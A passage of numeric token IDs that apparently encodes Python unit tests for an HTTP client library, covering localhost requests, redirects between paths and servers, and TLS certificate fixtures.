353, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 462, 29871, 18392, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29892, 13, 462, 462, 29871, 3030, 29922, 8516, 29892, 13, 462, 462, 29871, 1873, 29922, 8516, 29892, 13, 462, 462, 29871, 2284, 1598, 29922, 8516, 29892, 13, 462, 462, 29871, 1820, 2084, 29922, 2974, 2558, 2084, 29892, 13, 462, 462, 29871, 2284, 2084, 29922, 2974, 20455, 2084, 29892, 13, 462, 462, 29871, 5777, 1445, 2084, 29922, 4645, 26270, 1445, 2084, 29892, 13, 462, 462, 29871, 1723, 13, 1678, 4974, 15595, 29889, 276, 3150, 580, 13, 1678, 4974, 15595, 29889, 2350, 1275, 6702, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29871, 29953, 29896, 29900, 29896, 29897, 13, 1678, 4974, 15595, 29889, 29872, 2350, 29892, 6702, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29871, 29953, 29896, 29900, 29896, 29897, 13, 13, 1678, 2224, 353, 376, 991, 597, 29912, 29900, 6177, 29912, 29896, 6822, 1642, 4830, 29898, 2974, 20455, 18877, 1170, 29892, 15595, 29889, 29872, 2350, 29961, 29896, 2314, 13, 13, 1678, 21762, 353, 3132, 292, 29889, 4032, 29898, 2084, 29922, 2084, 29892, 13, 462, 3986, 18392, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29892, 13, 462, 3986, 337, 6915, 519, 29922, 5574, 29892, 13, 462, 3986, 1820, 2084, 29922, 4645, 2558, 2084, 29892, 13, 462, 3986, 2284, 2084, 29922, 4645, 20455, 2084, 29892, 13, 462, 3986, 5777, 1445, 2084, 29922, 2974, 26270, 1445, 2084, 29892, 13, 462, 4706, 1723, 13, 13, 1678, 4974, 21762, 29889, 276, 3150, 580, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 16044, 287, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 18045, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 7582, 2696, 13, 13, 1678, 396, 2048, 2009, 13, 1678, 2009, 353, 9657, 4197, 877, 5696, 742, 318, 29915, 7194, 5477, 13, 462, 268, 6702, 2084, 742, 318, 29915, 29914, 8057, 29973, 978, 29922, 29888, 420, 5477, 13, 462, 268, 6702, 29939, 5085, 742, 9657, 25739, 13, 462, 268, 6702, 20777, 742, 318, 4907, 511, 13, 462, 268, 6702, 13662, 742, 9657, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 2314, 511, 13, 462, 268, 6702, 2587, 742, 6213, 511, 13, 462, 268, 2314, 13, 13, 1678, 21762, 29889, 24830, 29889, 4397, 29898, 3827, 29897, 13, 13, 1678, 1550, 313, 1333, 15595, 29889, 861, 267, 470, 21762, 29889, 24830, 470, 13, 965, 21762, 29889, 11958, 2801, 29889, 7508, 5824, 470, 451, 21762, 29889, 3636, 296, 29889, 2760, 1125, 13, 4706, 11187, 29923, 1859, 3170, 29898, 2312, 29897, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 17697, 5824, 13, 1678, 4974, 451, 21762, 29889, 10685, 287, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 2760, 13, 13, 1678, 4974, 7431, 29898, 3571, 29889, 26679, 267, 29897, 1360, 29871, 29896, 13, 1678, 2933, 353, 21762, 29889, 26679, 267, 29889, 7323, 1563, 580, 13, 1678, 4974, 2933, 1275, 11117, 3259, 2396, 313, 29896, 29892, 29871, 29896, 511, 13, 462, 4706, 525, 4882, 2396, 29871, 29906, 29900, 29900, 29892, 13, 462, 4706, 525, 23147, 2396, 525, 8949, 742, 13, 462, 4706, 525, 13662, 2396, 379, 919, 4197, 877, 3916, 29899, 6513, 742, 525, 29896, 29906, 29906, 5477, 6702, 3916, 29899, 1542, 742, 525, 6214, 29914, 3126, 5477, 6702, 2539, 742, 525, 1349, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 5477, 6702, 6004, 742, 525, 29902, 29877, 10967, 29889, 2997, 1495, 11724, 13, 462, 4706, 525, 2587, 2396, 7023, 2378, 29898, 29890, 29915, 6377, 3051, 1115, 1870, 29892, 376, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 376, 18248, 1115, 376, 1692, 29915, 13, 462, 462, 3986, 289, 29915, 29911, 613, 376, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 376, 627, 29875, 29915, 13, 462, 462, 3986, 289, 29915, 265, 1115, 1870, 29913, 5477, 13, 462, 4706, 525, 1272, 2396, 11117, 3051, 2396, 6213, 29892, 13, 462, 462, 525, 1972, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 525, 18248, 2396, 525, 7194, 742, 13, 462, 462, 525, 2271, 2396, 525, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 742, 13, 462, 462, 525, 2467, 2396, 6213, 1118, 13, 462, 4706, 525, 3827, 2396, 11117, 5696, 2396, 525, 7194, 742, 13, 462, 462, 1678, 525, 2084, 2396, 8207, 8057, 742, 13, 462, 462, 1678, 525, 29939, 5085, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 1678, 525, 20777, 2396, 15516, 13, 462, 462, 1678, 525, 13662, 2396, 379, 919, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 11724, 13, 462, 462, 1678, 525, 2587, 2396, 289, 29915, 742, 13, 462, 462, 1678, 525, 3069, 2396, 525, 7640, 742, 13, 462, 462, 1678, 525, 637, 2396, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 462, 1678, 525, 816, 2004, 2396, 525, 991, 742, 13, 462, 462, 1678, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 1678, 525, 29888, 5085, 2396, 6213, 1118, 13, 462, 4706, 525, 2704, 287, 2396, 7700, 29892, 13, 462, 4706, 525, 2704, 2396, 6213, 29913, 13, 13, 13, 1678, 21762, 29889, 24830, 29889, 4397, 29898, 3827, 29897, 13, 13, 1678, 1550, 313, 1333, 15595, 29889, 861, 267, 470, 21762, 29889, 24830, 470, 13, 965, 21762, 29889, 11958, 2801, 29889, 7508, 5824, 470, 451, 21762, 29889, 3636, 296, 29889, 2760, 1125, 13, 4706, 11187, 29923, 1859, 3170, 29898, 2312, 29897, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 17697, 5824, 13, 1678, 4974, 451, 21762, 29889, 10685, 287, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 2760, 13, 13, 1678, 4974, 7431, 29898, 3571, 29889, 26679, 267, 29897, 1360, 29871, 29896, 13, 1678, 2933, 353, 21762, 29889, 26679, 267, 29889, 7323, 1563, 580, 13, 1678, 4974, 2933, 1275, 11117, 3259, 2396, 313, 29896, 29892, 29871, 29896, 511, 13, 462, 308, 525, 4882, 2396, 29871, 29906, 29900, 29900, 29892, 13, 462, 308, 525, 23147, 2396, 525, 8949, 742, 13, 462, 308, 525, 13662, 2396, 379, 919, 4197, 877, 3916, 29899, 6513, 742, 525, 29896, 29906, 29906, 5477, 6702, 3916, 29899, 1542, 742, 525, 6214, 29914, 3126, 5477, 6702, 2539, 742, 525, 1349, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 5477, 6702, 6004, 742, 525, 29902, 29877, 10967, 29889, 2997, 1495, 11724, 13, 462, 308, 525, 2587, 2396, 7023, 2378, 29898, 29890, 29915, 6377, 3051, 1115, 1870, 29892, 376, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 376, 18248, 1115, 376, 1692, 29915, 13, 462, 462, 965, 289, 29915, 29911, 613, 376, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 376, 627, 29875, 29915, 13, 462, 462, 965, 289, 29915, 265, 1115, 1870, 29913, 5477, 13, 462, 308, 525, 1272, 2396, 11117, 3051, 2396, 6213, 29892, 13, 462, 462, 29871, 525, 1972, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 29871, 525, 18248, 2396, 525, 7194, 742, 13, 462, 462, 29871, 525, 2271, 2396, 525, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 742, 13, 462, 462, 29871, 525, 2467, 2396, 6213, 1118, 13, 462, 308, 525, 3827, 2396, 11117, 5696, 2396, 525, 7194, 742, 13, 462, 462, 268, 525, 2084, 2396, 8207, 8057, 742, 13, 462, 462, 268, 525, 29939, 5085, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 268, 525, 20777, 2396, 15516, 13, 462, 462, 268, 525, 13662, 2396, 379, 919, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 11724, 13, 462, 462, 268, 525, 2587, 2396, 289, 29915, 742, 13, 462, 462, 268, 525, 3069, 2396, 525, 7640, 742, 13, 462, 462, 268, 525, 637, 2396, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 462, 268, 525, 816, 2004, 2396, 525, 991, 742, 13, 462, 462, 268, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 268, 525, 29888, 5085, 2396, 6213, 1118, 13, 462, 308, 525, 2704, 287, 2396, 7700, 29892, 13, 462, 308, 525, 2704, 2396, 6213, 29913, 13, 13, 1678, 15595, 29889, 5358, 580, 13, 1678, 21762, 29889, 5358, 580, 13, 13, 13, 1753, 1243, 29918, 4645, 29918, 17886, 29918, 29881, 8349, 1212, 29918, 2084, 7295, 13, 1678, 9995, 13, 1678, 4321, 12477, 6684, 304, 1422, 2224, 541, 1021, 1923, 13, 1678, 9995, 13, 1678, 15595, 353, 22729, 29889, 6004, 29898, 637, 353, 29871, 29953, 29896, 29900, 29896, 29892, 18392, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29897, 13, 1678, 4974, 15595, 29889, 276, 3150, 580, 13, 1678, 4974, 15595, 29889, 2350, 1275, 6702, 29900, 29889, 29900, 29889, 29900, 29889, 29900, 742, 29871, 29953, 29896, 29900, 29896, 29897, 13, 1678, 4974, 15595, 29889, 29872, 2350, 1275, 6702, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29871, 29953, 29896, 29900, 29896, 29897, 13, 13, 1678, 3495, 353, 15595, 29889, 29872, 2350, 29961, 29900, 29962, 13, 1678, 2011, 353, 15595, 29889, 29872, 2350, 29961, 29896, 29962, 13, 1678, 396, 21274, 304, 6684, 519, 353, 5852, 13, 1678, 21762, 353, 3132, 292, 29889, 4032, 29898, 9721, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29892, 13, 462, 462, 3495, 978, 29922, 3069, 29892, 13, 462, 462, 2011, 29922, 637, 29892, 13, 462, 462, 337, 6915, 519, 29922, 5574, 29892, 13, 462, 462, 1723, 13, 13, 1678, 4974, 21762, 29889, 276, 3150, 580, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 16044, 287, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 18045, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 7582, 2696, 13, 13, 1678, 396, 2048, 2009, 13, 1678, 2009, 353, 9657, 4197, 877, 5696, 742, 318, 29915, 7194, 5477, 13, 462, 268, 6702, 2084, 742, 318, 29915, 29914, 8057, 29973, 978, 29922, 29888, 420, 5477, 13, 462, 268, 6702, 29939, 5085, 742, 9657, 25739, 13, 462, 268, 6702, 20777, 742, 318, 4907, 511, 13, 462, 268, 6702, 13662, 742, 9657, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 2314, 511, 13, 462, 268, 6702, 2587, 742, 6213, 511, 13, 462, 268, 2314, 13, 13, 1678, 21762, 29889, 24830, 29889, 4397, 29898, 3827, 29897, 13, 13, 1678, 1550, 313, 1333, 15595, 29889, 861, 267, 470, 21762, 29889, 24830, 470, 13, 965, 21762, 29889, 11958, 2801, 29889, 7508, 5824, 470, 451, 21762, 29889, 3636, 296, 29889, 2760, 1125, 13, 4706, 11187, 24735, 2605, 3170, 29898, 2312, 29897, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 17697, 5824, 13, 1678, 4974, 451, 21762, 29889, 10685, 287, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 2760, 13, 13, 1678, 4974, 7431, 29898, 3571, 29889, 26679, 267, 29897, 1275, 29871, 29896, 13, 1678, 2933, 353, 21762, 29889, 26679, 267, 29889, 7323, 1563, 580, 13, 1678, 396, 2933, 1156, 6684, 13, 1678, 4974, 2933, 1275, 11117, 3259, 2396, 313, 29896, 29892, 29871, 29896, 511, 13, 462, 4706, 525, 4882, 2396, 29871, 29906, 29900, 29900, 29892, 13, 462, 4706, 525, 23147, 2396, 525, 8949, 742, 13, 462, 4706, 525, 13662, 2396, 379, 919, 4197, 877, 3916, 29899, 6513, 742, 525, 29896, 29906, 29906, 5477, 6702, 3916, 29899, 1542, 742, 525, 6214, 29914, 3126, 5477, 6702, 2539, 742, 525, 1349, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 5477, 6702, 6004, 742, 525, 29902, 29877, 10967, 29889, 2997, 1495, 11724, 13, 462, 4706, 525, 2587, 2396, 7023, 2378, 29898, 29890, 29915, 6377, 3051, 1115, 1870, 29892, 376, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 376, 18248, 1115, 376, 1692, 29915, 13, 462, 462, 3986, 289, 29915, 29911, 613, 376, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 376, 627, 29875, 29915, 13, 462, 462, 3986, 289, 29915, 265, 1115, 1870, 29913, 5477, 13, 462, 4706, 525, 1272, 2396, 11117, 3051, 2396, 6213, 29892, 13, 462, 462, 525, 1972, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 525, 18248, 2396, 525, 7194, 742, 13, 462, 462, 525, 2271, 2396, 525, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 742, 13, 462, 462, 525, 2467, 2396, 6213, 1118, 13, 462, 4706, 525, 3827, 2396, 11117, 3069, 2396, 525, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 13, 462, 462, 1678, 525, 637, 2396, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 462, 1678, 525, 816, 2004, 2396, 525, 1124, 742, 13, 462, 462, 1678, 525, 5696, 2396, 525, 7194, 742, 13, 462, 462, 1678, 525, 2084, 2396, 8207, 17886, 742, 13, 462, 462, 1678, 525, 20777, 2396, 15516, 13, 462, 462, 1678, 525, 29939, 5085, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 1678, 525, 13662, 2396, 379, 919, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 11724, 13, 462, 462, 1678, 525, 2587, 2396, 289, 29915, 742, 13, 462, 462, 1678, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 1678, 525, 29888, 5085, 2396, 6213, 1118, 13, 462, 4706, 525, 2704, 287, 2396, 7700, 29892, 13, 462, 4706, 525, 2704, 2396, 6213, 29892, 13, 462, 4706, 525, 17886, 29879, 2396, 518, 10998, 3259, 2396, 313, 29896, 29892, 29871, 29896, 511, 13, 462, 462, 539, 525, 4882, 2396, 29871, 29941, 29900, 29955, 29892, 13, 462, 462, 539, 525, 23147, 2396, 525, 5776, 1971, 653, 4367, 1088, 742, 13, 462, 462, 539, 525, 13662, 2396, 379, 919, 4197, 877, 3916, 29899, 1542, 742, 525, 726, 29914, 24595, 5477, 6702, 3916, 29899, 6513, 742, 525, 29900, 5477, 6702, 6638, 29899, 4809, 29899, 15930, 29899, 23182, 742, 525, 29930, 5477, 6702, 6508, 742, 525, 1124, 597, 7640, 29901, 29953, 29896, 29900, 29896, 29914, 17886, 29973, 978, 29922, 29888, 420, 1495, 11724, 13, 462, 462, 539, 525, 2587, 2396, 7023, 2378, 29898, 29890, 4907, 511, 13, 462, 462, 539, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 539, 525, 3827, 2396, 11117, 5696, 2396, 525, 7194, 742, 13, 462, 462, 462, 259, 525, 2084, 2396, 8207, 8057, 742, 13, 462, 462, 462, 259, 525, 29939, 5085, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 462, 259, 525, 20777, 2396, 15516, 13, 462, 462, 462, 259, 525, 13662, 2396, 379, 919, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 11724, 13, 462, 462, 462, 259, 525, 2587, 2396, 289, 29915, 742, 13, 462, 462, 462, 259, 525, 3069, 2396, 525, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 13, 462, 462, 462, 259, 525, 637, 2396, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 462, 462, 259, 525, 816, 2004, 2396, 525, 1124, 742, 13, 462, 462, 462, 259, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 462, 259, 525, 29888, 5085, 2396, 6213, 1118, 13, 462, 462, 539, 525, 2704, 287, 2396, 7700, 29892, 13, 462, 462, 539, 525, 2704, 2396, 6213, 6525, 29913, 13, 13, 1678, 15595, 29889, 5358, 580, 13, 1678, 21762, 29889, 5358, 580, 13, 13, 13, 13, 1753, 1243, 29918, 4645, 29918, 17886, 29918, 29881, 15622, 29918, 643, 874, 7295, 13, 1678, 9995, 13, 1678, 4321, 12477, 6684, 515, 697, 1923, 304, 1790, 1923, 13, 1678, 9995, 13, 1678, 15595, 353, 22729, 29889, 6004, 29898, 637, 353, 29871, 29953, 29896, 29900, 29896, 29892, 18392, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29897, 13, 1678, 4974, 15595, 29889, 276, 3150, 580, 13, 1678, 4974, 15595, 29889, 2350, 1275, 6702, 29900, 29889, 29900, 29889, 29900, 29889, 29900, 742, 29871, 29953, 29896, 29900, 29896, 29897, 13, 1678, 4974, 15595, 29889, 29872, 2350, 1275, 6702, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29871, 29953, 29896, 29900, 29896, 29897, 13, 13, 1678, 330, 2735, 353, 22729, 29889, 6004, 29898, 637, 353, 29871, 29953, 29896, 29900, 29941, 29892, 18392, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29897, 13, 1678, 4974, 330, 2735, 29889, 276, 3150, 580, 13, 1678, 4974, 330, 2735, 29889, 2350, 1275, 6702, 29900, 29889, 29900, 29889, 29900, 29889, 29900, 742, 29871, 29953, 29896, 29900, 29941, 29897, 13, 1678, 4974, 330, 2735, 29889, 29872, 2350, 1275, 6702, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29871, 29953, 29896, 29900, 29941, 29897, 13, 13, 13, 1678, 3495, 353, 15595, 29889, 29872, 2350, 29961, 29900, 29962, 13, 1678, 2011, 353, 15595, 29889, 29872, 2350, 29961, 29896, 29962, 13, 1678, 396, 21274, 304, 6684, 519, 353, 5852, 13, 1678, 21762, 353, 3132, 292, 29889, 4032, 29898, 9721, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29892, 13, 462, 462, 3495, 978, 29922, 3069, 29892, 13, 462, 462, 2011, 29922, 637, 29892, 13, 462, 462, 337, 6915, 519, 29922, 5574, 29892, 13, 462, 462, 1723, 13, 13, 1678, 4974, 21762, 29889, 276, 3150, 580, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 16044, 287, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 18045, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 7582, 2696, 13, 13, 1678, 396, 2048, 2009, 13, 1678, 2009, 353, 9657, 4197, 877, 5696, 742, 318, 29915, 7194, 5477, 13, 462, 268, 6702, 2084, 742, 318, 29915, 29914, 8057, 29973, 978, 29922, 29888, 420, 5477, 13, 462, 268, 6702, 29939, 5085, 742, 9657, 25739, 13, 462, 268, 6702, 20777, 742, 318, 4907, 511, 13, 462, 268, 6702, 13662, 742, 9657, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 2314, 511, 13, 462, 268, 6702, 2587, 742, 6213, 511, 13, 462, 268, 2314, 13, 13, 1678, 21762, 29889, 24830, 29889, 4397, 29898, 3827, 29897, 13, 13, 1678, 1550, 313, 1333, 15595, 29889, 861, 267, 470, 21762, 29889, 24830, 470, 13, 965, 21762, 29889, 11958, 2801, 29889, 7508, 5824, 470, 451, 21762, 29889, 3636, 296, 29889, 2760, 1125, 13, 4706, 11187, 24735, 292, 3170, 29898, 2312, 29897, 13, 4706, 11187, 24735, 287, 3170, 29898, 4283, 29897, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 17697, 5824, 13, 1678, 4974, 451, 21762, 29889, 10685, 287, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 2760, 13, 13, 1678, 4974, 7431, 29898, 3571, 29889, 26679, 267, 29897, 1275, 29871, 29896, 13, 1678, 2933, 353, 21762, 29889, 26679, 267, 29889, 7323, 1563, 580, 13, 1678, 4974, 2933, 1275, 11117, 3259, 2396, 313, 29896, 29892, 29871, 29896, 511, 13, 462, 4706, 525, 4882, 2396, 29871, 29906, 29900, 29900, 29892, 13, 462, 4706, 525, 23147, 2396, 525, 8949, 742, 13, 462, 4706, 525, 13662, 2396, 379, 919, 4197, 877, 3916, 29899, 6513, 742, 525, 29896, 29906, 29906, 5477, 6702, 3916, 29899, 1542, 742, 525, 6214, 29914, 3126, 5477, 6702, 2539, 742, 525, 1349, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 5477, 6702, 6004, 742, 525, 29902, 29877, 10967, 29889, 2997, 1495, 11724, 13, 462, 4706, 525, 2587, 2396, 7023, 2378, 29898, 29890, 29915, 6377, 3051, 1115, 1870, 29892, 376, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 376, 18248, 1115, 376, 1692, 29915, 13, 462, 462, 3986, 289, 29915, 29911, 613, 376, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 376, 627, 29875, 29915, 13, 462, 462, 3986, 289, 29915, 265, 1115, 1870, 29913, 5477, 13, 462, 4706, 525, 1272, 2396, 11117, 3051, 2396, 6213, 29892, 13, 462, 462, 525, 1972, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 525, 18248, 2396, 525, 7194, 742, 13, 462, 462, 525, 2271, 2396, 525, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 742, 13, 462, 462, 525, 2467, 2396, 6213, 1118, 13, 462, 4706, 525, 3827, 2396, 11117, 3069, 2396, 525, 7640, 742, 13, 462, 462, 1678, 525, 637, 2396, 29871, 29953, 29896, 29900, 29941, 29892, 13, 462, 462, 1678, 525, 816, 2004, 2396, 525, 1124, 742, 13, 462, 462, 1678, 525, 5696, 2396, 525, 7194, 742, 13, 462, 462, 1678, 525, 2084, 2396, 8207, 17886, 742, 13, 462, 462, 1678, 525, 20777, 2396, 15516, 13, 462, 462, 1678, 525, 29939, 5085, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 1678, 525, 13662, 2396, 379, 919, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 11724, 13, 462, 462, 1678, 525, 2587, 2396, 289, 29915, 742, 13, 462, 462, 1678, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 1678, 525, 29888, 5085, 2396, 6213, 1118, 13, 462, 4706, 525, 2704, 287, 2396, 7700, 29892, 13, 462, 4706, 525, 2704, 2396, 6213, 29892, 13, 462, 4706, 525, 17886, 29879, 2396, 518, 10998, 3259, 2396, 313, 29896, 29892, 29871, 29896, 511, 13, 462, 462, 539, 525, 4882, 2396, 29871, 29941, 29900, 29955, 29892, 13, 462, 462, 539, 525, 23147, 2396, 525, 5776, 1971, 653, 4367, 1088, 742, 13, 462, 462, 539, 525, 13662, 2396, 379, 919, 4197, 877, 3916, 29899, 1542, 742, 525, 726, 29914, 24595, 5477, 6702, 3916, 29899, 6513, 742, 525, 29900, 5477, 6702, 6638, 29899, 4809, 29899, 15930, 29899, 23182, 742, 525, 29930, 5477, 6702, 6508, 742, 525, 1124, 597, 7640, 29901, 29953, 29896, 29900, 29941, 29914, 17886, 29973, 978, 29922, 29888, 420, 1495, 11724, 13, 462, 462, 539, 525, 2587, 2396, 7023, 2378, 29898, 29890, 4907, 511, 13, 462, 462, 539, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 539, 525, 3827, 2396, 11117, 5696, 2396, 525, 7194, 742, 13, 462, 462, 462, 259, 525, 2084, 2396, 8207, 8057, 742, 13, 462, 462, 462, 259, 525, 29939, 5085, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 462, 259, 525, 20777, 2396, 15516, 13, 462, 462, 462, 259, 525, 13662, 2396, 379, 919, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 11724, 13, 462, 462, 462, 259, 525, 2587, 2396, 289, 29915, 742, 13, 462, 462, 462, 259, 525, 3069, 2396, 525, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 13, 462, 462, 462, 259, 525, 637, 2396, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 462, 462, 259, 525, 816, 2004, 2396, 525, 1124, 742, 13, 462, 462, 462, 259, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 462, 259, 525, 29888, 5085, 2396, 6213, 1118, 13, 462, 462, 539, 525, 2704, 287, 2396, 7700, 29892, 13, 462, 462, 539, 525, 2704, 2396, 6213, 6525, 29913, 13, 13, 1678, 15595, 29889, 5358, 580, 13, 1678, 330, 2735, 29889, 5358, 580, 13, 1678, 21762, 29889, 5358, 580, 13, 13, 13, 13, 1753, 1243, 29918, 4645, 29918, 17886, 29918, 29881, 15622, 29918, 643, 874, 29918, 29873, 3137, 7295, 13, 1678, 9995, 13, 1678, 4321, 12477, 6684, 304, 263, 1422, 1923, 13, 1678, 9995, 13, 1678, 1923, 20455, 18877, 1170, 353, 525, 7640, 29915, 396, 1993, 3495, 978, 3913, 12424, 29915, 29879, 2284, 3619, 978, 13, 1678, 396, 2974, 2558, 2084, 353, 8207, 7070, 29914, 29886, 1984, 29914, 29873, 3137, 29914, 6327, 29879, 29914, 2974, 29918, 1989, 29889, 29886, 331, 29915, 29871, 396, 1887, 1923, 2024, 1820, 13, 1678, 396, 2974, 20455, 2084, 353, 8207, 7070, 29914, 29886, 1984, 29914, 29873, 3137, 29914, 6327, 29879, 29914, 2974, 29918, 6327, 29889, 29886, 331, 29915, 29871, 396, 1887, 1923, 970, 2284, 13, 1678, 396, 4645, 26270, 1445, 2084, 353, 8207, 7070, 29914, 29886, 1984, 29914, 29873, 3137, 29914, 6327, 29879, 29914, 4645, 29889, 29886, 331, 29915, 396, 7592, 3132, 970, 2284, 13, 13, 1678, 1923, 2558, 2084, 353, 2284, 3972, 2084, 718, 8207, 2974, 29918, 1989, 29889, 29886, 331, 29915, 29871, 396, 1887, 1923, 2024, 1820, 13, 1678, 1923, 20455, 2084, 353, 2284, 3972, 2084, 718, 8207, 2974, 29918, 6327, 29889, 29886, 331, 29915, 29871, 396, 1887, 1923, 970, 2284, 13, 1678, 3132, 26270, 1445, 2084, 353, 2284, 3972, 2084, 718, 8207, 4645, 29889, 29886, 331, 29915, 396, 7592, 